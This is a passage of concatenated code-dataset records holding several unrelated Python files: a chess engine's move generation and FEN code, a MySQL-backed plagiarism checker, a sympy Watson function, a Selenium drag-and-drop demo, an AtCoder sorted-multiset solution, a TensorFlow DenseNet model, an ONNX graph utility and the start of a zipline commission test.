self.board[end_row][end_col]\n                if end_piece[0] != ally:\n                    if ally == \"w\":\n                        self.white_king_location = (end_row, end_col)\n                    else:\n                        self.black_king_location = (end_row, end_col)\n\n                    checked, pins, checks = self.king_helper()\n                    if not checked:\n                        k.insert_move_ordering(moves, Move((row, col), (end_row, end_col), self))\n\n                    if ally == \"w\":\n                        self.white_king_location = (row, col)\n                    else:\n                        self.black_king_location = (row, col)\n\n    def get_castle_moves(self, row, col, moves):\n        \"\"\"Returns valid castle moves\n\n           Keyword arguments:\n           row   -- (0-7)\n           col   -- (0-7)\n           moves -- current valid moves\n        \"\"\"\n        if self.square_attacked(row, col):\n            return\n        if (self.white_moves and self.castling_flags.wks) or (not self.white_moves and self.castling_flags.bks):\n            self.get_king_side_castle_moves(row, col, moves)\n        if (self.white_moves and self.castling_flags.wqs) or (not self.white_moves and self.castling_flags.bqs):\n            self.get_queen_side_castle_moves(row, col, moves)\n\n    def get_king_side_castle_moves(self, row, col, moves):\n        \"\"\"King side castling validator\n\n           Keyword arguments:\n           row   -- (0-7)\n           col   -- (0-7)\n           moves -- current valid moves\n        \"\"\"\n        if self.board[row][col + 1] == k.empty and self.board[row][col + 2] == k.empty:\n            if not self.square_attacked(row, col + 1) and not self.square_attacked(row, col + 2):\n                k.insert_move_ordering(moves, Move((row, col), (row, col + 2), self, castle=True))\n\n    def get_queen_side_castle_moves(self, row, col, moves):\n        \"\"\"Queen side castling validator\n\n           Keyword arguments:\n           row   -- (0-7)\n           col   -- (0-7)\n           moves -- current valid moves\n        \"\"\"\n        if self.board[row][col - 1] == k.empty \\\n                and self.board[row][col - 2] == k.empty \\\n                and self.board[row][col - 3] == k.empty:\n            if not self.square_attacked(row, col - 1) and not self.square_attacked(row, col - 2):\n                k.insert_move_ordering(moves, Move((row, col), (row, col - 2), self, castle=True))\n\n    def update_board_fen(self):\n        \"\"\"Calculates the new FEN notation\n           after a move is made and also\n           computes some preciuous information\n           for the evaluation function\n        \"\"\"\n        identifier = \"\"\n        for row in range(len(self.board)):\n            counter = 0\n            for col in range(len(self.board[row])):\n                piece = self.board[row][col]\n                if piece == k.empty:\n                    counter += 1\n                else:\n                    piece_position_score = k.piece_position_scores[piece][row][col]\n                    if piece[0] == \"w\":\n                        self.position_score += k.piece_score[piece[1]] + piece_position_score * 0.05\n                    elif piece[0] == \"b\":\n                        self.position_score -= k.piece_score[piece[1]] + piece_position_score * 0.05\n                    letter = piece[1].lower() if piece[0] == \"b\" else piece[1].upper()\n                    if counter == 0:\n                        identifier += letter\n                    else:\n                        identifier += str(counter) + letter\n                    counter = 0\n            if counter != 0:\n                identifier += str(counter)\n            if row != 7:\n                identifier += '/'\n        history_identifier = identifier\n        self.board_history.append(history_identifier)\n\n        identifier += ' w ' if self.white_moves else ' b '\n        castling_symbols = \"\"\n        if self.castling_flags.wks:\n            castling_symbols += 'K'\n        if self.castling_flags.wqs:\n            castling_symbols += 'Q'\n        if self.castling_flags.bks:\n            castling_symbols += 'k'\n        if self.castling_flags.bqs:\n            castling_symbols += 'q'\n        if castling_symbols != \"\":\n            identifier += castling_symbols + \" \"\n        else:\n            identifier += \"- \"\n\n        if self.en_passant_coordinates is not None:\n            identifier += self.en_passant_coordinates + \" \"\n        else:\n            identifier += \"- \"\n\n        identifier += str(self.fifty_draw_counter) + \" \"\n        identifier += str(len(self.pgn_log) // 2 + 1)\n        self.fen_notation = identifier\n        self.chessboard = chess.Board(self.fen_notation)\n        return self.board_history.count(history_identifier)\n\n\nclass Move:\n    \"\"\"Stores every information that\n       a specific move needs\n    \"\"\"\n    def __init__(self, start_square, end_square, state, en_passant=False, castle=False):\n        self.start_row = start_square[0]\n        self.start_col = start_square[1]\n        self.end_row = end_square[0]\n        self.end_col = end_square[1]\n        self.piece_to_move = state.board[self.start_row][self.start_col]\n        self.place_to_go = state.board[self.end_row][self.end_col]\n        self.is_pawn_promotion = (self.piece_to_move == \"wP\" and self.end_row == 0) or\\\n                                 (self.piece_to_move == \"bP\" and self.end_row == 7)\n        self.en_passant_move = en_passant\n        self.state = state\n        self.castle_move = castle\n        if self.en_passant_move:\n            self.place_to_go = \"wP\" if self.piece_to_move == \"bP\" else \"bP\"\n        self.move_score = self.calculate_mvvlva()\n        self.id = str(self.start_row * 1000 + self.start_col * 100 + self.end_row * 10 + self.end_col)\n\n    def calculate_mvvlva(self):\n        \"\"\"Computes the Most Valuable Victim\n           Least Valuable Attacker score\n           for move ordering\n        \"\"\"\n        mvv_lva_scores = {\"Q\": 500, \"R\": 400, \"B\": 350, \"N\": 300, \"P\": 100, \"x\": 0, \"K\": 200}\n        victim_score = mvv_lva_scores[self.state.board[self.end_row][self.end_col][1]]\n        attacker_score = mvv_lva_scores[self.state.board[self.start_row][self.start_col][1]] // 100\n        return victim_score + 6 - attacker_score\n\n    def get_chess_notation(self):\n        \"\"\"Maps the current move to a\n           portable game notation (PGN)\n        \"\"\"\n        move_string = \"\"\n        king_moved = False\n\n        if self.castle_move:\n            if self.end_col != 6:\n                move_string = \"0-0-0\"\n            else:\n                move_string = \"0-0\"\n            king_moved = True\n\n        enemy = \"b\" if self.state.white_moves else \"w\"\n        piece_moved = self.state.board[self.end_row][self.end_col][1]\n        piece_notation_amb = str(self.state.board[self.end_row][self.end_col][1] + enemy)\n        count_col = 0\n        knight_special_case = None\n        rook_special_case = None\n        ambiguous = False\n\n        if self.state.last_ambiguous_moves.count([self.end_row, self.end_col, piece_notation_amb]) >= 2:\n            ambiguous = True\n            if piece_moved == \"N\" or piece_moved == \"R\":\n                for row in range(0, 7):\n                    if self.state.board[row][self.start_col][1] == piece_moved and\\\n                            self.state.board[row][self.start_col][0] == enemy:\n                        count_col += 1\n            if count_col == 1 and piece_moved == \"N\":\n                knight_special_case = k.rows_to_ranks[self.start_row]\n            if count_col == 2 and piece_moved == \"R\":\n                rook_special_case = k.rows_to_ranks[self.start_row]\n\n        self.state.undo_flag = False\n\n        if self.en_passant_move:\n            move_string += k.get_file_rank_notation(self.start_row, self.start_col)[0] + \"x\" +\\\n                   k.get_file_rank_notation(self.end_row, self.end_col) + \" e.p.\"\n            return move_string\n\n        if self.place_to_go != k.empty:\n            if self.piece_to_move[1] == \"P\":\n                move_string += k.get_file_rank_notation(self.start_row, self.start_col)[0] + \"x\" + \\\n                       k.get_file_rank_notation(self.end_row, self.end_col)\n            else:\n                if ambiguous:\n                    if knight_special_case is None and rook_special_case is None:\n                        move_string += self.piece_to_move[1] + \\\n                                       k.get_file_rank_notation(self.start_row, self.start_col)[0] + \\\n                                       \"x\" + k.get_file_rank_notation(self.end_row, self.end_col)\n                    else:\n                        case = knight_special_case if knight_special_case is not None else rook_special_case\n                        move_string += self.piece_to_move[1] + case + \"x\" + k.get_file_rank_notation(self.end_row,\n                                                                                                     self.end_col)\n                elif not king_moved:\n                    move_string += self.piece_to_move[1] + \"x\" + k.get_file_rank_notation(self.end_row, self.end_col)\n        else:\n            if self.piece_to_move[1] == \"P\":\n                move_string += k.get_file_rank_notation(self.end_row, self.end_col)\n            else:\n                if ambiguous:\n                    if knight_special_case is None and rook_special_case is None:\n                        move_string += self.piece_to_move[1] + \\\n                                       k.get_file_rank_notation(self.start_row, self.start_col)[0] +\\\n                                       k.get_file_rank_notation(self.end_row, self.end_col)\n                    else:\n                        case = knight_special_case if knight_special_case is not None else rook_special_case\n                        move_string += self.piece_to_move[1] + case + k.get_file_rank_notation(self.end_row,\n                                                                                               self.end_col)\n                elif not king_moved:\n                    move_string += self.piece_to_move[1] + k.get_file_rank_notation(self.end_row, self.end_col)\n\n        if self.is_pawn_promotion:\n            move_string += \"=Q\"\n\n        return move_string\n\n    def __eq__(self, other):\n        if isinstance(other, Move):\n            return self.id == other.id\n        return False\n\n\nclass CastleFlags:\n    \"\"\"Castling rights information\n       wks = white king side\n       bks = black king side\n       wqs = white queen side\n       bqs = black queen side\n    \"\"\"\n    def __init__(self, wks, bks, wqs, bqs):\n        self.wks = wks\n        self.bks = bks\n        self.wqs = wqs\n        self.bqs = bqs\n\n    def __str__(self):\n        return f'({self.wks}, {self.bks}, {self.wqs}, {self.bqs})'\n","repo_name":"Radu-Sebastian/Python-Chess-AI-With-Digital-Board-Recognition-And-MCTS","sub_path":"chess_engine.py","file_name":"chess_engine.py","file_ext":"py","file_size_in_byte":38932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1550430312","text":"# Detect_plagiarism\n# Vineet Nair\n# 01-30-2012\n# https://github.com/nairv/detect_plagiarism\n\nimport sys, re, os, time, datetime\nimport MySQLdb as mdb\n\n\n#Database\nchost = ''\ncuser = ''\ncpasswd = ''\ncdb = ''\n\n#Application\nctimeout = ''\ncoutputlen = ''\ncwaittime = ''\ncusername = ''\nclocation = os.getcwd() \n\n\n#Function for reading configuration\nif (True):\n    f = open(clocation+'/config')\n    for line in f:\n        if (line.startswith('host')):\n            chost = line.split('=')[1].strip()\n        elif (line.startswith('dbuser')):\n            cuser = line.split('=')[1].strip()\n        elif (line.startswith('passwd')):\n            cpasswd = line.split('=')[1].strip()\n        elif (line.startswith('host')):\n            chost = line.split('=')[1].strip()\n        elif (line.startswith('database')):\n            cdb = line.split('=')[1].strip()\n        elif (line.startswith('timeout')):\n            ctimeout = line.split('=')[1].strip()\n        elif (line.startswith('output_length')):\n            coutputlen = int(line.split('=')[1].strip())\n        elif (line.startswith('wait_time')):\n            cwaittime = int(line.split('=')[1].strip())\n        elif (line.startswith('username')):\n            cusername = line.split('=')[1].strip()\n\n\ndef connectToDatabase():\n    cnx = mdb.connect(host=chost,user=cuser,passwd=cpasswd,db=cdb)\n    cnx.autocommit(True)\n    cursor = cnx.cursor()\n    return cursor\n\n#Function for checking if there is unvaluated attempts in the database\n#Returns data about the attempt\ndef checkForAttempts(cursor):\n    queryForAttempts = (\"SELECT attempt.id, attempt.task, attempt.source_code FROM attempt WHERE attempt.plagirismcheck='UNCHECKED' LIMIT 0, 1\")\n    cursor.execute(queryForAttempts)\n    while (cursor.rowcount==0):\n        for i in range(cwaittime):\n            time.sleep(1)\n        queryForAttempts = (\"SELECT attempt.id, attempt.task, attempt.source_code FROM attempt WHERE attempt.plagirismcheck='UNCHECKED' LIMIT 0, 1\")\n        cursor.execute(queryForAttempts)\n    for (line) in cursor:\n        attemptId = line[0]\n        task = line[1]\n        source_code = line[2]\n        deletePreviousRows = (\"DELETE FROM plagiarism WHERE attempt1_id = %s OR attempt2_id = %s\")\n        cursor.execute(deletePreviousRows,(attemptId, attemptId))\n        \n        pullOtherAttempts(task, attemptId, source_code, cursor)\n        \n        updateTaskStatus = (\"UPDATE attempt SET plagirismcheck='DONE' where id=%s\")\n        cursor.execute(updateTaskStatus, (attemptId))\n\n\ndef pullOtherAttempts(taskId, attemptId, source_code, cursor):\n    queryForAttempts = (\"SELECT attempt.id, attempt.task, attempt.source_code FROM attempt where task=%s and id!=%s LIMIT 0, 100\")\n    cursor.execute(queryForAttempts,(taskId, attemptId))\n    for (line) in cursor:\n        compareSourceCode(source_code, line[2], attemptId, line[0], taskId, cursor)\n\ndef compareSourceCode(source_code1, source_code2, attemptId1, attemptId2, taskId, cursor):\n    linex = source_code1\n    liney = source_code2\n    tokenizer = re.compile('[a-zA-Z0-9]+', re.IGNORECASE)\n\n    tokenx= tokenizer.findall(linex)\n    tokenx.insert(0 , 0)\n    tokeny = tokenizer.findall(liney)\n    tokeny.insert(0 , 1)\n\n    cc = [[0 for col in range(len(tokeny)+1)] for row in range(len(tokenx)+1)]\n    ll = [[0 for col in range(len(tokeny)+1)] for row in range(len(tokenx)+1)]\n\n    for x in range(1 , len(tokenx)):\n        for y in range(1 , len(tokeny)):\n            if tokenx[x] == tokeny[y]:\n                cc[x][y] = cc[x-1][y-1] + len(tokenx[x])**2\n                ll[x][y] = ll[x-1][y-1] + 1   \n            else:\n                if cc[x-1][y] >= cc[x][y-1]:\n                    ll[x][y] = ll[x-1][y]\n                    cc[x][y] = cc[x-1][y]\n                else:\n                    ll[x][y] = ll[x][y-1]\n                    cc[x][y] = cc[x][y-1]\n\n    p = len(tokenx)-1\n    q = len(tokeny)-1\n    '''\n    print (attemptId1, attemptId2)\n    print \"The total no of words in the original text is \" , p , \".\"\n    print \"The total no of words in the test text is \" , q , \".\"\n    print \"The length of the common subsequence is \" , max(max(ll)) , \".\"\n    print \"The plagiarism value calculated is \" , max(max(cc)) , \".\"\n    '''\n    \n    rating = ((max(max(ll))*200)/(p+q))\n    if (rating > 24):\n        updateDatabase(taskId, attemptId1, attemptId2, rating, cursor)\n\ndef updateDatabase(taskId, attemptId1, attemptId2, rating, cursor):\n    timeS = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n    updateDatabase = (\"INSERT INTO plagiarism (task_id, attempt1_id, attempt2_id, rating, time) VALUES (%s, %s, %s, %s, %s)\")\n    cursor.execute(updateDatabase,(taskId, attemptId1, attemptId2, rating, timeS))\n    \nwhile (True):\n    checkForAttempts(connectToDatabase())\n","repo_name":"splangi/automaatnehindaja","sub_path":"automaatnehindaja/Backend/plagService.py","file_name":"plagService.py","file_ext":"py","file_size_in_byte":4739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41111200373","text":"# -*- coding: utf-8 -*-\n# @Time    : 2021/11/30 12:25\n# @Author  : nieyuzhou\n# @File    : waston.py\n# @Software: PyCharm\nfrom sympy import symbols, Rational\n\n\ndef Watson(n = 5):\n    m = 31\n    vector_x = symbols('x1:%d' % (n + 1))\n    vector_r = []\n    vector_t = [Rational(i + 1, 29) for i in range(29)]\n    for i in range(m - 2):\n        left = 0\n        for j in range(2, n + 1):\n            left = left + (j - 1) * vector_x[j - 1] * (vector_t[i] ** (j - 2))\n        right = 0\n        for j in range(1, n + 1):\n            right = right + vector_x[j - 1] * (vector_t[i] ** (j - 1))\n        vector_r.append((left - right ** 2 - 1) ** 2)\n    vector_r.append(vector_x[0] ** 2)  # r30\n    vector_r.append((vector_x[1] - vector_x[0] ** 2 - 1) ** 2)  # r31\n    func = sum(vector_r)\n    return func, vector_x\n","repo_name":"rucnyz/Numerical_Optimization","sub_path":"waston.py","file_name":"waston.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36731471575","text":"from selenium import webdriver\nfrom selenium.webdriver import ActionChains\nimport time\n\ndriver=webdriver.Chrome(r'C:\\Users\\silpa\\PycharmProjects\\chromedriver_win32\\chromedriver')\ndriver.get(\"http://www.dhtmlgoodies.com/scripts/drag-drop-custom/demo-drag-drop-3.html\")\ndriver.maximize_window()\ntime.sleep(2)\n\nsource_ele=driver.find_element_by_xpath(\"//*[@id='box4']\")\ntarget_ele=driver.find_element_by_xpath(\"//*[@id='box106']\")\n\nactions=ActionChains(driver)\nactions.drag_and_drop(source_ele,target_ele).perform() #perform Drag and Drop\n\ntime.sleep(2)\ndriver.quit()\n\n","repo_name":"silpa-priyadarshini/SELENIUM-_PYTHON","sub_path":"sessions/MouseDragNDrop.py","file_name":"MouseDragNDrop.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"34307162872","text":"from collections import deque\ndef main():\n    sm = SortedMultiset3D()\n    dq = deque([])\n    Q = int(input())\n    for _ in range(Q):\n        line = input()\n        if line[0] == '1':\n            _, x = map(int, line.split())\n            dq.append(x)\n        elif line[0] == '2':\n            if sm:\n                print(sm.pop(0))\n            else:\n                print(dq.popleft())\n        elif line[0] == '3':\n            while dq:\n                sm.insert(dq.popleft())\n    return\n\n# ----------------------------------------------------------------------------\n# Library\nimport sys\ninput = sys.stdin.readline\nimport math\nimport bisect\nclass SortedMultiset3D():\n\n    def __init__(self, a=[]):\n\n        if a:\n            self._build(a)\n        else:\n            self.a = []\n            self.size = 0\n            self.sizes = [0]\n            self._calc_parameter()\n        # stats\n        self.cnt_rebuild = 0\n        self.cnt_merge = 0\n        self.cnt_average = 0\n\n    def _calc_parameter(self):\n\n        n = len(self.a)\n        self.W = max(2, math.floor(math.sqrt(n)))\n        self.H = max(1, math.ceil(n/self.W))\n        self.MC = max(256, n<<1)\n        self.MM = self.MC >> 1\n        return \n\n    def _build(self, a):\n\n        a = sorted(a)\n        self.size = len(a)\n        K = max(2, math.ceil(math.sqrt(self.size)*0.8))\n        self.a = [a[i*K:(i+1)*K] for i in range(-(-len(a)//K))]\n        self._calc_parameter()\n        self.sizes = self._calc_sizes()\n        return\n\n    def _calc_sizes(self):\n\n        ss = [0] * self.H\n        for i, ai in enumerate(self.a):\n            ss[i//self.W] += len(ai)\n        return ss\n\n    def _rebuild(self):\n\n        self.cnt_rebuild += 1\n        self._calc_parameter()\n        self.sizes = [0] * self.H\n        for i in range(len(self.a)):\n            self.sizes[i//self.W] += len(self.a[i])\n        return\n\n\n    def _merge(self):\n\n        i = 0\n        while i+1 < len(self.a):\n            if len(self.a[i]) + len(self.a[i+1]) < self.MM:\n                self.a[i].extend(self.a.pop(i+1))\n                self.cnt_merge += 1\n                continue\n            i += 1\n        return \n\n    def _average(self):\n        \n        for i in range(len(self.a)-1):\n            if abs(len(self.a[i])-len(self.a[i+1])) > self.MM:\n                tmp = self.a[i] + self.a[i+1]\n                m = len(tmp)//2\n                self.a[i] = tmp[:m]\n                self.a[i+1] = tmp[m:]\n                self.cnt_average += 1\n        return \n\n    def insert(self, x):\n\n        if self.a:\n            i = self._bisect_row_index(x)\n            bisect.insort(self.a[i], x)\n            self.size += 1\n            self.sizes[i//self.W] += 1\n            if len(self.a[i]) > self.MC:\n                self.a.insert(i+1, self.a[i][self.MM:])\n                del self.a[i][self.MM:]\n                self._average()\n                self._rebuild()\n        else:\n            self.a.append([x])\n            self.size += 1\n            self.sizes[0] += 1\n        return\n    \n    def pop(self, index):\n\n        if self.a:\n            if index < 0:\n                index += self.size\n            i, index = self._loc(index)\n            if index < len(self.a[i]):\n                x = self.a[i].pop(index)\n                self.size -= 1\n                self.sizes[i//self.W] -= 1\n                if not len(self.a[i]):\n                    self.a.pop(i)\n                    self._merge()\n                    self._rebuild()\n                return x\n            raise IndexError\n        else:\n            raise IndexError(\"pop from empty list\")\n\n    def discard(self, x):\n        \n        if self.a:\n            i = self._bisect_row_index(x)\n            j = bisect.bisect_left(self.a[i], x)\n            if self.a[i][j] == x:\n                self.a[i].pop(j)\n                self.size -= 1\n                self.sizes[i//self.W] -= 1\n                if not len(self.a[i]):\n                    self.a.pop(i)\n                    self._merge()\n                    self._rebuild()\n        return\n\n    def lower_bound(self, x):\n        if self.a:\n            i, index = 0, 0\n            while i + self.W < len(self.a) and self.a[i+self.W][0] < x:\n                index += self.sizes[i//self.W]\n                i += self.W\n            while i + 1 < len(self.a) and self.a[i+1][0] < x:\n                index += len(self.a[i])\n                i += 1\n            return index + bisect.bisect_left(self.a[i], x)\n        else:\n            return None\n\n    def gt(self, x):\n        if self.a:\n            i = -1\n            di = max(1, len(self.a)//2)\n            while di:\n                while i+di < len(self.a) and self.a[i+di][-1] <= x:\n                    i += di\n                di >>= 1\n            i = min(i+1, len(self.a)-1)\n            index = bisect.bisect_right(self.a[i], x)\n            if index < len(self.a[i]):\n                return self.a[i][index]\n        return\n\n    def lt(self, x):\n        if self.a:\n            i = self._bisect_row_index(x)\n            index = bisect.bisect_left(self.a[i], x) - 1\n            if i > 0 and index == -1:\n                i -= 1\n                index += len(self.a[i])\n            if 0 <= index < len(self.a[i]):\n                return self.a[i][index]\n        return\n\n    def __getitem__(self, index):\n        if index < 0:\n            index += self.size\n        i, index = self._loc(index)\n        if index < len(self.a[i]):\n            return self.a[i][index]\n        raise IndexError\n\n    def __len__(self):\n        return self.size\n\n    def _loc(self, index):\n        i = 0\n        while i + self.W < len(self.a) and index >= self.sizes[i//self.W]:\n            index -= self.sizes[i//self.W]\n            i += self.W\n        while i + 1 < len(self.a) and index >= len(self.a[i]):\n            index -= len(self.a[i])\n            i += 1\n        return i, index\n\n    def _bisect_row_index(self, x):\n        l, r = 0, len(self.a)\n        while r-l > 1:\n            m = (r+l)//2\n            if (not self.a[m]) or self.a[m][0] > x:\n                r = m\n            else:\n                l = m\n        return l\n\n# ----------------------------------------------------------------------------\n# INPUT\nimport sys\ninput = lambda: sys.stdin.readline().rstrip()\n\n\nif __name__ == '__main__':\n    try:\n        f = open('./input.txt')\n        input = lambda: f.readline().rstrip()\n    except:\n        pass\n    main()\n","repo_name":"nodashin6/atcoder_training","sub_path":"abc/2/21/217/20221022_103510/abc217e.py","file_name":"abc217e.py","file_ext":"py","file_size_in_byte":6362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"43256241423","text":"\"\"\"Contains a variant of the densenet model definition.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\nslim = tf.contrib.slim\n\n\ndef trunc_normal(stddev): \n    return tf.truncated_normal_initializer(stddev=stddev)\n\n# 复合函数，包括归一(bn)、激活(relu)、池化(conv)和dropout\ndef bn_act_conv_drp(current, num_outputs, kernel_size, scope='block'):      # num_outputs: 输出通道数，kernel_size：卷积核大小\n    current = slim.batch_norm(current, scope=scope + '_bn')\n    current = tf.nn.relu(current)\n    current = slim.conv2d(current, num_outputs, kernel_size, scope=scope + '_conv')\n    current = slim.dropout(current, scope=scope + '_dropout')\n    return current\n\n# 层连接函数(xl= H([x0,x1,...xl-1]))，新生成的层tmp加入到输入层net，形成新的输入层，经过layers次连接后，最后得到的net作为输出层\n# layers次连接后net的输出通道数：growth0 + growth * layers\ndef block(net, layers, growth, scope='block'):                                               # layers: dense block包含的网络层数 \n    for idx in range(layers):\n        bottleneck = bn_act_conv_drp(net, 4 * growth, [1, 1],scope=scope + '_conv1x1' + str(idx)) # bn-relu-conv2d-dropput(1,1)\n        tmp = bn_act_conv_drp(bottleneck, growth, [3, 3],scope=scope + '_conv3x3' + str(idx))     # bn-relu-conv2d-dropput(3,3)\n        net = tf.concat(axis=3, values=[net, tmp])                                                # 原net与tmp连接,作为新的net\n    return net\n\n# 稠密链接函数\ndef densenet(images, num_classes=1001, is_training=False, dropout_keep_prob=0.8,scope='densenet'):    \n  \n    growth = 24                 # 增长率 growth rate\n    compression_rate = 0.5\n    \n    def reduce_dim(input_feature):\n        return int(int(input_feature.shape[-1]) * compression_rate)\n\n    end_points = {}\n\n    with tf.variable_scope(scope, 'DenseNet', [images, num_classes]):       \n        with slim.arg_scope(bn_drp_scope(is_training=is_training,keep_prob=dropout_keep_prob)) as ssc:\n            \n            #  初始卷积层的输出通道数是2*growth = 48,先是(7,7)卷积，图片变为(112 *112)；再(3,3)池化，图片变为(55 * 55)\n            current = end_points['pre_conv2'] = slim.conv2d(images, 2*growth, [7, 7], stride=2, padding='same', scope='pre_conv2')\n            current = end_points['pre_pool2'] = slim.max_pool2d(current, [3, 3], stride=2, scope='pre_pool2')\n      \n            #  4个block,每个block包括(1,1)卷积和(3,3)卷积,前3个block之后(1,1)卷积和(2,2)池化作为过渡层,第4个block之后（6,6）池化\n            #  图片变为(27 * 27)\n            current = end_points['block1'] = block(current, 6, growth, scope='block1')         \n            current = end_points['transition1_conv2'] = bn_act_conv_drp(current, growth, [1, 1], scope='transition1_conv2')\n            current = end_points['transition1_pool2'] = slim.avg_pool2d(current, [2, 2], stride=2, scope='transition1_pool2') \n            \n            #  图片变为(13 * 13)                                               \n            current = end_points['block2'] = block(current, 12, growth, scope='block2')      \n            current = end_points['transition2_conv2'] = bn_act_conv_drp(current, growth, [1, 1], scope='transition2_conv2')\n            current = end_points['transition2_pool2'] = slim.avg_pool2d(current, [2, 2], stride=2, scope='transition2_pool2') \n            \n            #  图片变为(6 * 6) \n            current = end_points['block3'] = block(current, 24, growth, scope='block3')\n            current = end_points['transition3_conv2'] = bn_act_conv_drp(current, growth, [1, 1], scope='transition3_conv2')\n            current = end_points['transition3_pool2'] = slim.avg_pool2d(current, [2, 2], stride=2, scope='transition3_pool2') \n\n            #  图片变为(1 * 1) \n            current = end_points['block4'] = block(current, 16, growth, scope='block4')\t      \n            current = end_points['global_pool2'] = slim.avg_pool2d(current, [6, 6], scope='global_pool2') \n            \n            #  全连接                                                                                                        \n            current = end_points['PreLogitsFlatten'] = slim.flatten(current, scope='PreLogitsFlatten')\n            logits = end_points['Logits'] = slim.fully_connected(current, num_classes, activation_fn=None, scope='Logits')\n\n            # softmax分类\n            end_points['Predictions'] = tf.nn.softmax(logits, name='Predictions')\n\n    return logits, end_points\n\ndef bn_drp_scope(is_training=True, keep_prob=0.8):\n    keep_prob = keep_prob if is_training else 1\n    with slim.arg_scope([slim.batch_norm], scale=True, is_training=is_training, updates_collections=None):\n        with slim.arg_scope([slim.dropout],is_training=is_training, keep_prob=keep_prob) as bsc:\n            return bsc\n\ndef densenet_arg_scope(weight_decay=0.004):\n    with slim.arg_scope([slim.conv2d],\n                    weights_initializer=tf.contrib.layers.variance_scaling_initializer(factor=2.0,mode='FAN_IN',uniform=False),\n                    activation_fn=None, biases_initializer=None, padding='same',stride=1) as sc:\n         return sc\n\ndensenet.default_image_size = 224\n","repo_name":"DominicHJ/vehicle-detection-classification","sub_path":"vehicle_classifiction/nets/densenet.py","file_name":"densenet.py","file_ext":"py","file_size_in_byte":5338,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"37937837042","text":"def merge_shuffle_channel_nodes(model):\n    \"\"\"\n    A sequence of (5-channel reshape -> transpose -> 4-channel reshape) nodes\n    corresponds to one holistic ShuffleChannel layer in caffe.\n    This method merges the nodes into one node corresponding\n    to that layer.\n    \"\"\"\n    nodes = model.graph.node[:]\n    del model.graph.node[:]\n\n    idx = 0\n    while idx < len(nodes):\n        node = nodes[idx]\n\n        if idx + 2 >= len(nodes) or node.op_type != \"Reshape\":\n            model.graph.node.extend([node])\n            idx += 1\n            continue\n\n        if node.op_type == \"Reshape\":\n            attributes = dict(\n                zip([attr.name for attr in node.attribute], node.attribute)\n            )\n            shape_key = None\n            if \"shape\" in attributes.keys():\n                shape_key = \"shape\"\n            elif \"dims\" in attributes.keys():\n                shape_key = \"dims\"\n            else:\n                raise KeyError(attributes.keys)\n            if len(attributes[shape_key].ints) != 5:\n                model.graph.node.extend([node])\n                idx += 1\n                continue\n        group = attributes[shape_key].ints[1]\n\n        transpose_node = nodes[idx + 1]\n        transpose_attributes = dict(\n            zip(\n                [attr.name for attr in transpose_node.attribute],\n                transpose_node.attribute,\n            )\n        )\n        if transpose_node.op_type != \"Transpose\" or list(\n            transpose_attributes[\"perm\"].ints\n        ) != [0, 2, 1, 3, 4]:\n            model.graph.node.extend([node])\n            idx += 1\n            continue\n\n        reshape_node = nodes[idx + 2]\n        reshape_attributes = dict(\n            zip([attr.name for attr in reshape_node.attribute], reshape_node.attribute)\n        )\n        if reshape_node.op_type != \"Reshape\":\n            model.graph.node.extend([node])\n            idx += 1\n            continue\n        shape_key = None\n        if \"shape\" in reshape_attributes.keys():\n            shape_key = \"shape\"\n        elif \"dims\" in reshape_attributes.keys():\n            shape_key = \"dims\"\n        else:\n            raise KeyError(reshape_attributes.keys)\n\n        if reshape_attributes[shape_key].ints[1] != -1:\n            model.graph.node.extend([node])\n            idx += 1\n            continue\n\n        node.op_type = \"ShuffleChannel\"\n        del node.output[:]\n        while len(node.attribute) > 0:\n            node.attribute.pop()\n        from onnx import helper\n\n        group_attr = helper.make_attribute(\"group\", group)\n        node.attribute.extend([group_attr])\n        node.output.extend(reshape_node.output)\n        model.graph.node.extend([node])\n        idx += 3\n","repo_name":"ModelTC/NART","sub_path":"python/nart/tools/pytorch/network_utils/shuffle_channel.py","file_name":"shuffle_channel.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"21"}
+{"seq_id":"73038426933","text":"from datetime import timedelta\nfrom textwrap import dedent\n\nfrom zipline import TradingAlgorithm\nfrom zipline.finance.commission import PerTrade, PerShare, PerDollar\nfrom zipline.finance.order import Order\nfrom zipline.finance.transaction import Transaction\nfrom zipline.testing import ZiplineTestCase, trades_by_sid_to_dfs\nfrom zipline.testing.fixtures import (\n    WithAssetFinder,\n    WithSimParams,\n    WithDataPortal\n)\nfrom zipline.utils import factory\n\n\nclass CommissionUnitTests(WithAssetFinder, ZiplineTestCase):\n    ASSET_FINDER_EQUITY_SIDS = 1, 2\n\n    def generate_order_and_txns(self):\n        asset1 = self.asset_finder.retrieve_asset(1)\n\n        # one order\n        order = Order(dt=None, sid=asset1, amount=500)\n\n        # three fills\n        txn1 = Transaction(sid=asset1, amount=230, dt=None,\n                           price=100, order_id=order.id)\n\n        txn2 = Transaction(sid=asset1, amount=170, dt=None,\n                           price=101, order_id=order.id)\n\n        txn3 = Transaction(sid=asset1, amount=100, dt=None,\n                           price=102, order_id=order.id)\n\n        return order, [txn1, txn2, txn3]\n\n    def test_per_trade(self):\n        model = PerTrade(cost=10)\n\n        order, txns = self.generate_order_and_txns()\n\n        self.assertEqual(10, model.calculate(order, txns[0]))\n\n        order.commission = 10\n\n        self.assertEqual(0, model.calculate(order, txns[1]))\n        self.assertEqual(0, model.calculate(order, txns[2]))\n\n    def test_per_share_no_minimum(self):\n        model = PerShare(cost=0.0075, min_trade_cost=None)\n\n        order, txns = self.generate_order_and_txns()\n\n        # make sure each commission is pro-rated\n        self.assertAlmostEqual(1.725, model.calculate(order, txns[0]))\n        self.assertAlmostEqual(1.275, model.calculate(order, txns[1]))\n        self.assertAlmostEqual(0.75, model.calculate(order, 